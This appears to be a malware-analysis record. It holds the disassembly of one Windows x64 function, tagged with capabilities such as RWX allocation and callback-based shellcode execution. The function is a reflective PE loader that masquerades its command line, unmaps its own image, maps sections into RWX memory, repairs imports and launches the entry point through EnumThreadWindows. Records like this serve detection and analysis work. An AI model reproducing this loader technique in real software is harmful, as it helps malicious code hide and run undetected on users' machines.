Function at 0x14000247e
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function

Disassembly:
push rbp
mov rbp, rsp
add rsp, 0xffffffffffffff80
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
call sym.masqueradeCmdline__
mov dword [rbp - 4], 0
mov qword [rbp - 0x10], 0
jmp 0x1400024d9
mov rdx, qword [rbp - 0x10]
mov rax, qword [rbp + 0x10]
add rax, rdx
movzx eax, byte [rax]
movsx eax, al
mov rdx, qword [rbp - 0x10]
imul eax, edx
mov edx, dword [rbp - 4]
mov ecx, edx
mov edx, 0xaaaaaaab
imul rdx, rcx
shr rdx, 0x20
shr edx, 1
add eax, edx
mov dword [rbp - 4], eax
add qword [rbp - 0x10], 1
mov eax, dword [rbp + 0x18]
cmp qword [rbp - 0x10], rax
jl 0x1400024a3
mov qword [rbp - 0x18], 0
mov qword [rbp - 0x28], 0
mov dword [rbp - 0x2c], 0
mov rax, qword [rbp + 0x10]
mov rcx, rax
call sym.GetNTHeaders_char_
mov qword [rbp - 0x38], rax
cmp qword [rbp - 0x38], 0
jne 0x14000251a
mov ecx, 0
call sym.exit
mov rax, qword [rbp + 0x10]
mov edx, 5
mov rcx, rax
call sym.GetPEDirectory_void__unsigned_long_long_
mov qword [rbp - 0x40], rax
mov rax, qword [rbp - 0x38]
mov rax, qword [rax + 0x30]
mov qword [rbp - 0x28], rax
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 0x48], rax
mov rax, qword [rbp - 0x48]
lea rdx, str.NtUnmapViewOfSection
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov rdx, qword [rbp - 0x38]
mov rdx, qword [rdx + 0x30]
mov rcx, 0xffffffffffffffff
call rax
mov rax, qword [rbp - 0x38]
mov eax, dword [rax + 0x50]
mov edx, eax
mov rax, qword [rbp - 0x28]
mov r9d, 0x40
mov r8d, 0x3000
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400025f6
cmp qword [rbp - 0x40], 0
jne 0x1400025bb
mov ecx, 0
call sym.exit
mov rax, qword [rbp - 0x38]
mov eax, dword [rax + 0x50]
mov eax, eax
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
jne 0x1400025f6
mov ecx, 0
call sym.exit
mov rdx, qword [rbp - 0x18]
mov rax, qword [rbp - 0x38]
mov qword [rax + 0x30], rdx
mov rax, qword [rbp - 0x38]
mov eax, dword [rax + 0x54]
mov ecx, eax
mov rdx, qword [rbp + 0x10]
mov rax, qword [rbp - 0x18]
mov r8, rcx
mov rcx, rax
call sym.memcpy
mov rax, qword [rbp - 0x38]
add rax, 0x108
mov qword [rbp - 0x50], rax
mov dword [rbp - 0x1c], 0
jmp 0x1400026c2
mov eax, dword [rbp - 0x1c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x50]
add rax, rdx
mov eax, dword [rax + 0x10]
mov r8d, eax
mov eax, dword [rbp - 0x1c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x50]
add rax, rdx
mov eax, dword [rax + 0x14]
mov edx, eax
mov rax, qword [rbp + 0x10]
add rax, rdx
mov rcx, rax
mov eax, dword [rbp - 0x1c]
movsxd rdx, eax
mov rax, rdx
shl rax, 2
add rax, rdx
shl rax, 3
mov rdx, rax
mov rax, qword [rbp - 0x50]
add rax, rdx
mov eax, dword [rax + 0xc]
mov edx, eax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov rdx, rcx
mov rcx, rax
call sym.memcpy
add dword [rbp - 0x1c], 1
mov rax, qword [rbp - 0x38]
movzx eax, word [rax + 6]
movzx eax, ax
cmp dword [rbp - 0x1c], eax
jl 0x140002638
mov rax, qword [rbp - 0x18]
mov rcx, rax
call sym.RepairIAT_void_
mov rax, qword [rbp - 0x38]
mov eax, dword [rax + 0x28]
mov edx, eax
mov rax, qword [rbp - 0x18]
add rax, rdx
mov qword [rbp - 0x58], rax
mov rax, qword [rbp - 0x58]
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.USER32.dll_EnumThreadWindows]
call rax
nop
sub rsp, 0xffffffffffffff80
pop rbp
ret